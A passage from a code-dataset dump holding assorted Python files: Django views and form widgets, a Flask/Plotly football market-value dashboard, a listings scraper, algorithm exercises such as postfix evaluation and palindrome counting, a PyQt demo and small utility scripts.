l_ins_script = \"INSERT INTO loan_mdm_lookup( loan_mdm_lookup_id, CreditScoreMin,CreditScoreMax,LoanAmountMin,LoanAmountMax ,IntrestRatePct, \" \\\n \"DurationMonths,eff_from_date,eff_to_date) VALUES(%s,%s ,%s ,%s,%s,%s,%s,%s,%s)\"\n valuse=[]\n for row in reader:\n print(row[0], row[1],row[2],row[3],row[4],row[5],row[6],row[7],row[8])\n insertVal = ( row[0], row[1] ,row[2] , row[3] , row[4] ,row[5] ,row[6] , row[7] , row[8])\n valuse.append(insertVal)\n ## cursor.execute(l_ins_script,insertVal)\n ## conn.commit()\n cursor.executemany(l_ins_script, valuse)\n conn.commit()\n return HttpResponse('file uploaded,Thank you')\n\nfrom rest_framework.response import Response\n\nfrom .serializers import MdmSerializer\n\nclass RestView(views.APIView):\n\n def get(self, request):\n cursor.execute (\"select * from loan_mdm_lookup;\")\n # use fetchall() to get the list of row data\n l_data = []\n\n for loan_mdm_lookup_id, CreditScoreMin, CreditScoreMax, LoanAmountMin, LoanAmountMax, IntrestRatePct, DurationMonths, eff_from_date, eff_to_date in cursor.fetchall ():\n l_data.append ({\"loan_mdm_lookup_id\": loan_mdm_lookup_id\n , \"CreditScoreMin\": CreditScoreMin\n , \"CreditScoreMax\": CreditScoreMax\n , \"LoanAmountMin\": LoanAmountMin\n , \"LoanAmountMax\": LoanAmountMax\n , \"IntrestRatePct\": IntrestRatePct\n , \"DurationMonths\": DurationMonths\n , \"eff_from_date\": eff_from_date\n , \"eff_to_date\": eff_to_date})\n\n\n yourdata= l_data\n results = yourdata\n return HttpResponse(results)","sub_path":"mdmteam/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":11097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"542016993","text":"__author__ = 'user'\n\nimport random\n\nfrom globals import *\nfrom operation import Operation\nimport sys\n\nclass Individual:\n\n def __init__(self, flag):\n new_dna = []\n # если flag == True, то генерируется случайная операция\n op = Operation(0, flag, possible_vars , new_dna)\n self.dna = new_dna\n self.fitness = sys.maxsize\n\n def gets(self):\n return self.dna[0][\"class\"].gets()\n\n def eval(self):\n return self.dna[0][\"class\"].eval()\n\n def get_dna(self):\n return self.dna\n\n def dna_replace(self, pos, new_dna):\n old_link = self.dna[pos][\"class\"]\n if self.dna[pos][\"start_address\"] == None and self.dna[pos][\"end_address\"] == None:\n self.dna[pos:pos+1] = new_dna\n c = 0\n j = pos - 1\n while j > 0:\n if self.dna[j][\"end_address\"] != None:\n c += 1\n if self.dna[j][\"start_address\"] != None:\n c -= 1\n if self.dna[j][\"end_address\"] != None and c == 1:\n break\n j -= 1\n for index, elem in enumerate(self.dna[j][\"class\"].operands):\n if elem == old_link:\n self.dna[j][\"class\"].operands[index] = new_dna[0][\"class\"]\n else:\n if self.dna[pos][\"start_address\"] == None:\n c = 0\n j = pos - 1\n while j > 0:\n if self.dna[j][\"end_address\"] != None:\n c += 1\n if self.dna[j][\"start_address\"] != None:\n c -= 1\n if self.dna[j][\"end_address\"] != None and c == 1:\n break\n j -= 1\n for index, elem in enumerate(self.dna[j][\"class\"].operands):\n if elem == old_link:\n self.dna[j][\"class\"].operands[index] = new_dna[0][\"class\"]\n\n self.dna[pos:self.dna[pos][\"end_address\"] + 1] = new_dna\n elif self.dna[pos][\"end_address\"] == None:\n c = -1\n j = pos - 1\n while j > 0:\n if self.dna[j][\"end_address\"] != None:\n c += 1\n if self.dna[j][\"start_address\"] != None:\n c -= 1\n if self.dna[j][\"end_address\"] != None and c == 1:\n break\n j -= 1\n for index, elem in enumerate(self.dna[j][\"class\"].operands):\n if elem == old_link:\n self.dna[j][\"class\"].operands[index] = new_dna[0][\"class\"]\n self.dna[self.dna[pos][\"start_address\"]:pos+1] = new_dna\n\n def clone(self):\n new_clone = Individual(False)\n new_dna = []\n self.dna[0][\"class\"].dna_clone(new_dna)\n new_clone.dna = new_dna\n return new_clone\n\n def mutation(self):\n r = random.randint(0, len(self.dna) - 1)\n new_dna = []\n op = Operation(0, True, possible_vars , new_dna)\n self.dna_replace(r, new_dna)","sub_path":"individual.py","file_name":"individual.py","file_ext":"py","file_size_in_byte":3145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"71871255","text":"# -*- coding: utf-8 -*-\n\nimport sys\n#from PyQt4 import QtGui\nfrom PyQt5.QtWidgets import *\n\n\nclass TestWidget(QWidget):\n def __init__(self):\n QWidget.__init__(self, windowTitle = 'A simple example for PyQt')\n self.outputArea = QTextBrowser(self)\n self.helloButton = QPushButton(self.trUtf8('问候(&S)'), self)\n self.setLayout(QVBoxLayout())\n self.layout().addWidget(self.outputArea)\n \n self.helloButton.clicked.connect(self.sayHello)\n \n def sayHello(self):\n yourName, okay = QInputDialog.getText(self, self.trUtf8('请问你的名字是?'), self.trUtf8('名字'))\n if not okay or yourName == '':\n self.outputArea.append(self.trUtf8('你好,陌生人!'))\n else:\n self.outputArea.append(self.trUtf8('你好,%1。').format(yourName))\n\napp = QApplication(sys.argv)\ntestWidget = TestWidget()\ntestWidget.show()\nsys.exit(app.exec())\n","sub_path":"PyXGui/showcase/sample/textBrowser.py","file_name":"textBrowser.py","file_ext":"py","file_size_in_byte":949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"21158069","text":"class Solution(object):\n def maxSumRangeQuery(self, nums, requests):\n \"\"\"\n :type nums: List[int]\n :type requests: List[List[int]]\n :rtype: int\n \"\"\"\n m = [0] * (len(nums)+1)\n for start, end in requests:\n m[start] += 1\n m[end+1] -= 1\n\n for i in range(1, len(nums)+1):\n m[i] += m[i-1]\n\n nums.sort()\n f = sorted(m[:-1], reverse=True)\n res = 0\n\n for freq in f:\n el = nums.pop()\n res += el*freq\n res %= 10**9 + 7\n\n return res\n","sub_path":"medium/1589.maximum-sum-obtained-of-any-permutation.py","file_name":"1589.maximum-sum-obtained-of-any-permutation.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"579878021","text":"'''\r\nCreated on Aug 27, 2010\r\n\r\n@author: turturica\r\n'''\r\n\r\nfrom django import forms\r\nfrom django.core import validators\r\nfrom django.core.exceptions import ValidationError\r\nfrom django.core.validators import RegexValidator\r\nfrom django.forms.widgets import flatatt\r\nfrom django.utils.encoding import smart_unicode\r\nfrom django.utils.html import escape\r\nfrom django.utils.safestring import mark_safe\r\nfrom django.utils.simplejson import JSONEncoder\r\nfrom django.utils.translation import ugettext_lazy as _\r\nimport re\r\n\r\nclass AutoSuggestInput(forms.TextInput):\r\n def __init__(self, source, autofocus=True, options=None, attrs=None, model=None):\r\n \"\"\"source can be a list containing the autocomplete values or a\r\n string containing the url used for the XHR request.\r\n \r\n For available options see the autocomplete sample page::\r\n http://jquery.bassistance.de/autocomplete/\"\"\"\r\n \r\n self.options = options or {}\r\n self.source = source\r\n self.model = model\r\n self.autofocus = autofocus\r\n\r\n attrs = attrs or {}\r\n attrs.update({'autocomplete': 'off', 'class': 'as-input'})\r\n super(AutoSuggestInput, self).__init__(attrs)\r\n\r\n def render_js(self, field_id):\r\n \r\n if isinstance(self.source, list):\r\n source = JSONEncoder().encode(self.source)\r\n elif isinstance(self.source, str):\r\n source = \"'%s'\" % escape(self.source)\r\n else:\r\n raise ValueError('source type is not valid')\r\n \r\n options = ''\r\n \r\n if self.model:\r\n if self.options:\r\n options += ',{%s, \"preFill\": resp}' % (JSONEncoder().encode(self.options))[1:-1]\r\n else:\r\n options += ',{}'\r\n\r\n if self.autofocus:\r\n focusjs = \"$('.as-input:first').focus();\"\r\n else:\r\n focusjs = \"\"\r\n\r\n return u\"\"\"\r\n function onSuccess(resp) {\r\n $(\"#%(id)s\").autoSuggest(%(url)s%(options)s);\r\n %(focusjs)s\r\n }\r\n req = $.jsonp({\r\n url: %(url)s,\r\n cache: false,\r\n data: {id: %(model_id)d},\r\n callbackParameter: \"callback\",\r\n success: onSuccess\r\n });\r\n \"\"\" % dict(id=field_id,\r\n url=source,\r\n options=options,\r\n model_id=self.model.id,\r\n focusjs=focusjs\r\n )\r\n else:\r\n if self.options:\r\n options += ',%s' % JSONEncoder().encode(self.options)\r\n return u\"$('#%s').autoSuggest(%s%s);\" % (field_id, source, options)\r\n\r\n def render(self, name, value=None, attrs=None):\r\n final_attrs = self.build_attrs(attrs, name=name)\r\n if value:\r\n final_attrs['value'] = escape(smart_unicode(value))\r\n\r\n if not self.attrs.has_key('id'):\r\n final_attrs['id'] = 'id_%s' % hash(self) \r\n \r\n return mark_safe('''\r\n \r\n ''' % {\r\n 'attrs' : flatatt(final_attrs),\r\n 'js' : self.render_js(final_attrs['id']),\r\n })\r\n\r\n# This is for jQuery input fields generated on-the-fly\r\nclass VirtualInput(forms.widgets.HiddenInput):\r\n \r\n def render(self, name, value, attrs=None):\r\n return ''\r\n\r\ndef parse_as_field(args, kwargs, field, model, single=True):\r\n if args and args[0].get(field):\r\n value = args[0][field]\r\n elif kwargs.get(field):\r\n value = kwargs[field]\r\n elif kwargs.get('initial'):\r\n value = kwargs['initial'].get(field)\r\n elif kwargs.get('data'):\r\n value = kwargs['data'].get(field)\r\n else:\r\n value = None\r\n \r\n if value:\r\n try:\r\n values = [int(val) for val in value.split(',') if val != '']\r\n except ValueError:\r\n return None\r\n try:\r\n if single:\r\n if values:\r\n return model.objects.get(id=values[-1])\r\n else:\r\n return None\r\n else:\r\n return model.objects.filter(id__in=values)\r\n except model.DoesNotExist:\r\n return None\r\n else:\r\n return None\r\n\r\nclass ModelsField(forms.Field):\r\n default_error_messages = {\r\n 'invalid': _(u\"No such user.\"),\r\n }\r\n\r\n def __init__(self, model, multiple=False, *args, **kwargs):\r\n super(ModelsField, self).__init__(*args, **kwargs)\r\n self.model = model\r\n self.multiple = multiple\r\n\r\n def to_python(self, value):\r\n \"\"\"\r\n convert to model list\r\n \"\"\"\r\n if value in validators.EMPTY_VALUES:\r\n return None\r\n if not value.replace(',','') and self.required:\r\n raise ValidationError(self.error_messages['required'])\r\n if isinstance(value, self.model):\r\n return value\r\n try:\r\n values = [int(val) for val in value.split(',') if val != '']\r\n except ValueError:\r\n raise ValidationError(self.error_messages['invalid'])\r\n try:\r\n if len(values) == 1 and not self.multiple:\r\n return self.model.objects.get(id=values[0])\r\n else:\r\n return self.model.objects.filter(id__in=values)\r\n except self.model.DoesNotExist:\r\n raise ValidationError(self.error_messages['invalid'])\r\n\r\n#ipv4list_re = re.compile(r'^([\\'\\\"]?(25[0-5]|2[0-4]\\d|[0-1]?\\d?\\d)(\\.(25[0-5]|2[0-4]\\d|[0-1]?\\d?\\d)){3}[\\'\\\"]?[,\\s]?)+$')\r\nipv4list_re = re.compile(r'')\r\nvalidate_ipv4list_address = RegexValidator(ipv4list_re, _(u'Enter a valid comma or space separated list.'), 'invalid')\r\n\r\nclass CommaOrSpaceSeparatedField(forms.Field):\r\n default_error_messages = {\r\n 'invalid': _(u'Enter a valid IPv4 address list.'),\r\n }\r\n default_validators = [validate_ipv4list_address]\r\n\r\n def clean(self, value, initial=None):\r\n self.validate(value)\r\n self.run_validators(value)\r\n if value:\r\n space = re.compile(r'[,\\'\\\"\\s]+')\r\n return set([d for d in space.split(value) if d])\r\n return set()\r\n\r\nclass NullCharField(forms.CharField):\r\n \r\n def to_python(self, value):\r\n \"Returns a Unicode object.\"\r\n if value in validators.EMPTY_VALUES:\r\n return None\r\n return super(NullCharField, self).to_python(value)\r\n\r\n","sub_path":"labinventory/asset/utils/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":6602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"540973921","text":"from bs4 import BeautifulSoup\r\n\r\nimport requests\r\nimport csv\r\n\r\n\r\nmain_url = 'https://www.olx.pl/nieruchomosci/stancje-pokoje/krakow/q-pokój-kraków/'\r\n\r\nlinks = []\r\n\r\ncsv_file = open('offer_scrape.csv', 'w')\r\n\r\ncsv_writer = csv.writer(csv_file)\r\ncsv_writer.writerow(['offer_title','offer_page', 'offer_price', 'offer_location', 'offer_date'])\r\n\r\nfor i in range (0,40):\r\n\tlinks.append(main_url + '?page=' + str(i))\r\n\t\r\nfor link in links:\r\n\tsource = requests.get(link).text\r\n\tsoup = BeautifulSoup(source, 'lxml')\r\n\r\n\tfor each_offer in soup.find_all('div',class_='offer-wrapper'):\r\n\t\toffer_title = each_offer.h3.a.text\r\n\t\tprint(offer_title)\r\n\t\toffer_page = each_offer.h3.a['href']\r\n\t\tprint(offer_page)\r\n\r\n\t\toffer_price = each_offer.find('div',class_='space inlblk rel')\r\n\t\tprint(offer_price.p.strong.text)\r\n\t\t\r\n\t\tunwanted = each_offer.find('i')\r\n\t\tunwanted.extract()\r\n\r\n\t\toffer_location = each_offer.span.text\r\n\t\tprint(offer_location)\r\n\r\n\t\toffer_date = each_offer.select('p > small')[2].get_text(strip=True)\r\n\t\tprint(offer_date)\r\n\t\tprint('____________')\r\n\r\n\t\tcsv_writer.writerow([offer_title,offer_page, offer_price.p.strong.text, offer_location, offer_date])\r\n\r\ncsv_file.close()","sub_path":"scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"450623083","text":"import json\n\nimport numpy as np\nimport pandas as pd\n\nimport plotly\nimport plotly.graph_objs as go\nimport plotly.plotly as py\n\nfrom flask import Flask, render_template\nfrom queries import *\n\napp = Flask(__name__)\n\n@app.route('/')\ndef index(): \n return render_template(\"index.html\")\n\n@app.route('/teams')\ndef teams():\n\n rows = get_teams()\n \n return render_template(\"list_teams.html\",rows = rows)\n\n@app.route('/market_value_team_comparison')\ndef marketValues():\n rows = get_teams()\n df = pd.DataFrame( [[ij for ij in i] for i in rows] )\n df.rename(columns={0: 'ID', 1: 'Name', 2: 'Nickname', 3: 'Squad', 4:'Average Age',5:'Number of Foreigners', 6:'Total Market Value', 7:'Average Market Value'}, inplace=True)\n df = df.sort_values(['Total Market Value'], ascending=[1])\n \n # Create a trace\n trace = go.Scatter(\n x=df['Total Market Value'],\n y=df['Average Market Value'],\n text=df['Name'],\n mode='markers'\n )\n\n layout = go.Layout(\n title='Total Market Value vs Average Market Value',\n hovermode= 'closest',\n xaxis=dict(type='log', title='Total Market Value' ),\n yaxis=dict(title='Average Market Value' )\n )\n\n fig = go.Figure(data=[trace], layout=layout)\n #data = [trace]\n graphJSON = json.dumps(fig, cls=plotly.utils.PlotlyJSONEncoder)\n return render_template('charts.html', graphJSON=graphJSON)\n\n\n@app.route('/market_value_jersey_comparison')\ndef marketValuesPlayers():\n rows = get_players()\n df = pd.DataFrame( [[ij for ij in i] for i in rows] )\n df.rename(columns={0: 'ID', 1: 'JerseyNumber', 2: 'Name', 3: 'Position', 4:'Birthday',5:'Nationality', 6:'Team', 7:'Market Value'}, inplace=True)\n #df = df.sort_values(['Market Value'], ascending=[1])\n \n # Create a trace\n trace = go.Scatter(\n x=df['JerseyNumber'],\n y=df['Market Value'],\n text=df['Name'],\n mode='markers'\n )\n\n layout = go.Layout(\n title='Jersey Number vs Player Market Value',\n hovermode= 'closest',\n xaxis=dict(title='Jersey Number'),\n yaxis=dict(title='Player Market Value' )\n )\n\n fig = go.Figure(data=[trace], layout=layout)\n #data = [trace]\n graphJSON = json.dumps(fig, cls=plotly.utils.PlotlyJSONEncoder)\n return render_template('charts.html', graphJSON=graphJSON)\n\n@app.route('/players_detailed')\ndef teams_table_plot():\n rows = get_players()\n\n df = pd.DataFrame( [[ij for ij in i] for i in rows] )\n df.rename(columns={0: 'ID', 1: 'JerseyNumber', 2: 'Name', 3: 'Position', 4:'Birthday',5:'Nationality', 6:'Team', 7:'Market Value'}, inplace=True)\n #df = df.sort_values(['Market Value'], ascending=[1])\n \n # Create a trace\n trace = go.Table(\n header=dict(values=list(df.columns),\n fill = dict(color='#C2D4FF'),\n align = ['left'] * 5),\n cells=dict(values=[df.ID, df.JerseyNumber, df.Name, df.Position,df.Birthday, df.Nationality, df.Team, df['Market Value']],\n fill = dict(color='#F5F8FF'),\n align = ['left'] * 5)\n )\n\n layout = go.Layout(\n title='Players in the Top Leagues Around the World Ranked by Value',\n )\n\n fig =go.Figure(data=[trace],layout=layout)\n #data = [trace]\n\n graphJSON = json.dumps(fig, cls=plotly.utils.PlotlyJSONEncoder)\n return render_template('charts.html', graphJSON=graphJSON)\n\n\n@app.route('/positions')\ndef positions_Bar_Chart():\n rows = count_player_positions()\n print(rows)\n\n df = pd.DataFrame( [[ij for ij in i] for i in rows] )\n df.rename(columns={0: 'Position', 1: 'Count of Position', 2: 'Average Market Value for Position'}, inplace=True)\n #df = df.sort_values(['Market Value'], ascending=[1])\n \n # Create a trace\n trace = [\n go.Bar(\n x=df['Position'], # assign x as the dataframe column 'x'\n y=df['Count of Position']\n #hoverlabel=df['Team']\n )\n ]\n\n layout = go.Layout(\n title='Positions vs Count of Positions for Top 5 leagues in Europe and MLS',\n hovermode= 'closest',\n xaxis=dict(title='Position' ),\n yaxis=dict(title='Count of Positions' )\n )\n \n\n fig = go.Figure(data=trace, layout=layout)\n #data = trace\n graphJSON = json.dumps(fig, cls=plotly.utils.PlotlyJSONEncoder)\n return render_template('charts.html', graphJSON=graphJSON)\n\n@app.route('/positions_market_value')\ndef positions_market_value_Bar_Chart():\n rows = count_player_positions()\n\n df = pd.DataFrame( [[ij for ij in i] for i in rows] )\n df.rename(columns={0: 'Position', 1: 'Count of Position', 2: 'Average Market Value for Position'}, inplace=True)\n #df = df.sort_values(['Market Value'], ascending=[1])\n \n # Create a trace\n trace = [\n go.Bar(\n x=df['Position'], # assign x as the dataframe column 'x'\n y=df['Average Market Value for Position']\n #hoverlabel=df['Team']\n )\n ]\n\n layout = go.Layout(\n title='Positions vs Average Market Value for Position for Top 5 leagues in Europe and MLS',\n hovermode= 'closest',\n xaxis=dict(title='Position' ),\n yaxis=dict(title='Average Market Value for Position')\n )\n \n\n fig = go.Figure(data=trace, layout=layout)\n #data = trace\n graphJSON = json.dumps(fig, cls=plotly.utils.PlotlyJSONEncoder)\n return render_template('charts.html', graphJSON=graphJSON)\n\n@app.route('/players_vs_teams')\ndef players_market_vs_teams():\n rows = players_vs_teams()\n\n df = pd.DataFrame( [[ij for ij in i] for i in rows] )\n df.rename(columns={0: 'Name', 1: 'Team', 2: 'Players Market Value',3:'Teams Total Market Value'}, inplace=True)\n \n # Create a trace\n trace = go.Scatter(\n x=df['Teams Total Market Value'],\n y=df['Players Market Value'],\n text=df['Name'] +','+df['Team'],\n mode='markers'\n )\n\n layout = go.Layout(\n title='Players Market Value vs Teams Market Value',\n hovermode= 'closest',\n xaxis=dict(type='log',autorange=True,title='Teams Market Value'),\n yaxis=dict(title='Players Market Value' )\n )\n\n fig = go.Figure(data=[trace], layout=layout)\n #data = [trace]\n graphJSON = json.dumps(fig, cls=plotly.utils.PlotlyJSONEncoder)\n return render_template('charts.html', graphJSON=graphJSON)\n\nif __name__ == '__main__': \n print('starting Flask app', app.name) \n app.run(debug=True)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"349339263","text":"import torch.nn as nn\nfrom torch import reshape\n\n\nclass MLPEncoder(nn.Module):\n def __init__(\n self,\n input_size,\n hidden_size,\n output_size,\n ):\n # call constructor from superclass\n super(MLPEncoder, self).__init__()\n # define network layers\n self.input_size = input_size\n self.layer_norm0 = nn.LayerNorm(input_size)\n self.fc1 = nn.Linear(in_features=input_size, out_features=hidden_size)\n self.layer_norm1 = nn.LayerNorm(hidden_size)\n self.fc2 = nn.Linear(in_features=hidden_size, out_features=hidden_size)\n self.layer_norm2 = nn.LayerNorm(hidden_size)\n self.fc3 = nn.Linear(in_features=hidden_size, out_features=hidden_size * 2)\n self.layer_norm3 = nn.LayerNorm(hidden_size * 2)\n self.fc4 = nn.Linear(in_features=hidden_size * 2, out_features=output_size)\n self.silu = nn.SiLU()\n\n def forward(self, x):\n # define forward pass\n output = self.layer_norm0(x)\n output = self.fc1(output)\n output = self.layer_norm1(output)\n output = self.silu(output)\n output = self.fc2(output)\n output = self.layer_norm2(output)\n output = self.silu(output)\n output = self.fc3(output)\n output = self.layer_norm3(output)\n output = self.silu(output)\n output = self.fc4(output)\n output = reshape(output, (-1, output.shape[0], output.shape[1]))\n return output\n","sub_path":"Phase2/mlp_encoder.py","file_name":"mlp_encoder.py","file_ext":"py","file_size_in_byte":1463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"26554504","text":"import requests\nimport json\nfrom pprint import pprint\n\n\nproxies = {\n \"http\": \"http://192.168.43.1:44355\",\n \"https\": \"https://192.168.43.1:44355\"\n}\nurl = str(input(\"> \"))\nresp = requests.head(url, proxies=proxies)\n\nfor val, key in resp.headers.items():\n print(f'{val}: {key}')\n\n\n\n\n\n\n\n\n\n","sub_path":"Scripts/Youtube/header_check.py","file_name":"header_check.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"155445381","text":"\"\"\"\nQ647\nPalindromic Substrings\nMedium\n\nGiven a string, your task is to count how many palindromic substrings in this string.\n\nThe substrings with different start indexes or end indexes are counted as different\nsubstrings even they consist of same characters.\n\n\n\"\"\"\n\n\nclass Solution:\n def countSubstrings(self, s: str) -> int:\n\n memo = [[0] * len(s) for _ in range(len(s))]\n\n for i in range(len(s)):\n memo[i][i] = 1\n\n for i in range(1, len(s)):\n if s[i-1] == s[i]:\n memo[i-1][i] = 1\n\n for l in range(3, len(s)+1):\n for i in range(len(s)-l+1):\n if memo[i+1][i+l-2] == 1:\n if s[i] == s[i+l-1]:\n memo[i][i+l-1] = 1\n\n return sum(sum(item) for item in memo)\n\ns = \"abcdcba\"\nsol = Solution()\nprint(sol.countSubstrings(s))\n\n\n\n\n\n\n\n\n\n\n","sub_path":"Q647.py","file_name":"Q647.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"121419376","text":"# Jeffery Ho\r\n# CPE 202\r\n\r\nfrom Stacks import StackArray\r\n\r\n\r\n# A infix_to_postfix is a string\r\n# A infixexpr is a string\r\n# a string containing an infix expression where tokens are space separated is\r\n# the single input parameter and returns a string containing a postfix expression\r\n# where tokens are space separated''\r\n# self.assertAlmostEqual(postfix_eval(\"3 5 +\"), 8)\r\n# self.assertEqual(infix_to_postfix(\"6 - 3\"), \"6 3 -\")\r\n# self.assertEqual(infix_to_postfix(\"6 - 3 + 2\"), \"6 3 - 2 +\")\r\n# self.assertEqual(infix_to_postfix(\"6 ^ 3 ^ 2\"), \"6 3 2 ^ ^\")\r\n# self.assertEqual(infix_to_postfix(\"6 * ( 3 + 2 )\"), \"6 3 2 + *\")\r\n# def infix_to_postfix(infixexpr):\r\n# op_Order ={}\r\n# op_Stack = StackArray(30)\r\n# postfixList = []\r\n# tokenList = infixexpr.split()\r\n# for token in tokenList:\r\n# ...\r\n# return ' '.join(postfixList)\r\ndef infix_to_postfix(infixexpr):\r\n '''Converts an infix expression to an equivalent postfix expression '''\r\n\r\n '''Signature: a string containing an infix expression where tokens are space separated is\r\n the single input parameter and returns a string containing a postfix expression\r\n where tokens are space separated'''\r\n\r\n\r\n op_Order = {}\r\n op_Order['^'] = 4\r\n op_Order['*'] = 3\r\n op_Order['/'] = 3\r\n op_Order['+'] = 2\r\n op_Order['-'] = 2\r\n op_Order['('] = 1\r\n\r\n op_Stack = StackArray(30)\r\n postfixList = []\r\n tokenList = infixexpr.split()\r\n\r\n for token in tokenList:\r\n if token.isdigit():\r\n postfixList.append(token)\r\n elif token == '(':\r\n op_Stack.push(token)\r\n elif token == ')':\r\n top = op_Stack.pop()\r\n while top != '(':\r\n postfixList.append(top)\r\n top = op_Stack.pop()\r\n else:\r\n while op_Stack.is_empty() == False and op_Order[op_Stack.peek()] >= op_Order[token]:\r\n if op_Order[op_Stack.peek()] == op_Order[token] == 4:\r\n break\r\n else:\r\n postfixList.append(op_Stack.pop())\r\n op_Stack.push(token)\r\n\r\n while not op_Stack.is_empty():\r\n postfixList.append(op_Stack.pop())\r\n\r\n return ' '.join(postfixList)\r\n\r\n\r\n# A postfix_eval is a number\r\n# A postfixExpr is a string\r\n# Take in postfixExpr as a string containing a postfix expression and\r\n# evaluates the expression in a postfix operation and returns the result\r\n# self.assertAlmostEqual(postfix_eval(\"3 5 +\"), 8)\r\n# self.assertAlmostEqual(postfix_eval(\"3 5 -\"), -2)\r\n# self.assertAlmostEqual(postfix_eval(\"3 5 *\"), 15)\r\n# self.assertAlmostEqual(postfix_eval(\"5 5 /\"), 1)\r\n# self.assertAlmostEqual(postfix_eval(\"3 2 ^\"), 9)\r\n# def postfix_eval(postfixExpr):\r\n# op_Stack = StackArray(30)\r\n# tokenList = postfixExpr.split()\r\n# for token in tokenList:\r\n# ...\r\n# return op_Stack.pop()\r\ndef postfix_eval(postfixExpr):\r\n '''Evaluates the postfix expression and returns the value '''\r\n op_Stack = StackArray(30)\r\n\r\n tokenList = postfixExpr.split()\r\n\r\n for token in tokenList:\r\n if token.isdigit():\r\n op_Stack.push(int(token))\r\n else:\r\n operand2 = op_Stack.pop()\r\n operand1 = op_Stack.pop()\r\n if operand2 == 0 and token == '/':\r\n raise ValueError\r\n result = doMath(token, operand1, operand2)\r\n op_Stack.push(result)\r\n\r\n return op_Stack.pop()\r\n\r\n# A doMath is a number\r\n# a op is an operand\r\n# a op1 is a number\r\n# a op2 is a number\r\n# Takes three parameters, all strings as an operand and two numbers and\r\n# operates on the two numbers based on the operand\r\n# self.assertAlmostEqual(postfix_eval(+, 3, 5), 8)\r\n# self.assertAlmostEqual(postfix_eval(-, 3, 5), -2)\r\n# self.assertAlmostEqual(postfix_eval(*, 3, 5), 15)\r\n# self.assertAlmostEqual(postfix_eval(/, 5, 5), 1)\r\n# self.assertAlmostEqual(postfix_eval(^, 3, 2), 9)\r\n# def doMath(op, op1, op2):\r\n# if op == '^':\r\n# ...\r\n# if op == '*':\r\n# ...\r\n# if op == '/':\r\n# ...\r\n# if op == '+':\r\n# ...\r\n# if op == '-':\r\n# ...\r\ndef doMath(op, op1, op2):\r\n '''Operates on the two operands based on the operator and returns the result '''\r\n if op == '^':\r\n return op1 ** op2\r\n if op == '*':\r\n return op1 * op2\r\n if op == '/':\r\n return op1 / op2\r\n if op == '+':\r\n return op1 + op2\r\n if op == '-':\r\n return op1 - op2\r\n\r\n# A postfix_valid is a boolean\r\n# a postfixexpr is a string\r\n# Takes in an parameter as a string and checks if it is a valid postfix expression\r\n# self.assertFalse(postfix_valid(\"\"))\r\n# self.assertFalse(postfix_valid(\"2 3\"))\r\n# self.assertTrue(postfix_valid(\"2 3 +\"))\r\n# self.assertTrue(postfix_valid(\"2 3 -\"))\r\n# self.assertTrue(postfix_valid(\"2 3 *\"))\r\n# self.assertTrue(postfix_valid(\"2 3 /\"))\r\n# def postfix_valid(postfixexpr):\r\n# ops = '+-/*^'\r\n# for token in ops:\r\n# ...\r\ndef postfix_valid(postfixexpr):\r\n '''Checks to if the postfix expression is a valid postfix expression '''\r\n ops = '+-/*^'\r\n num = False\r\n op = False\r\n for token in ops:\r\n if token in postfixexpr:\r\n op = True\r\n for token in postfixexpr:\r\n if token.isdigit():\r\n num = True\r\n\r\n return num and op\r\n\r\n","sub_path":"Project 2/exp_eval.py","file_name":"exp_eval.py","file_ext":"py","file_size_in_byte":5330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"328803943","text":"from random import randrange, shuffle\n\ndef Bubblesort():\n array = []\n\n while len(array) < 12: # 范围内随机取12个数值\n array.append(randrange(-99, 101, 3))\n shuffle(array) # 打乱数组\n\n print('排序前数组:{}'.format(array))\n sum = 0\n for i in range(12):\n for j in range(11 - i):\n if array[j] > array[j + 1]: # 遇到较小值前后交换\n array[j], array[j + 1] = array[j + 1], array[j]\n print('第{}排序:{}'.format(sum,array))\n sum += 1\n\n print('排序后数组:{}'.format(array))\n\nBubblesort()","sub_path":"PYDS/chapter06/排序.py","file_name":"排序.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"64033982","text":"import csv\n\nfile = open(\"Books.csv\",\"r\")\nfor row in file:\n print(row)\nfile.close()\n\nqst = int(input(\"¿Cuántos campos desea agregar?\\n\"))\n\nfile = open(\"Books.csv\",\"a\")\nfor i in range(0,qst):\n nameb = input(\"Ingrese el nombre del libro: \")\n author = input(\"Ingrese el autor de la obra: \")\n year = input(\"Ingrese el año de publicación: \")\n print(\"--------------------------------\")\n newRecord = nameb+\",\"+author+\",\"+year+\"\\n\"\n file.write(str(newRecord))\nfile.close()\n\nfile = open(\"Books.csv\",\"r\")\nfor row in file:\n print(row)\nfile.close()\n\nsearch = input(\"Ingrese un autor del que quiera obtener información \\n\")\n\nfile = open(\"Books.csv\",\"r\")\ncont = 0\n\nfor row in file:\n if search in str(row):\n print(row)\n cont = cont + 1\nif cont == 0:\n print(\"No hay campos que coincidan con la busqueda\")\n \nfile.close()","sub_path":"Ejercicio_N113.py","file_name":"Ejercicio_N113.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"29815337","text":"# -*- 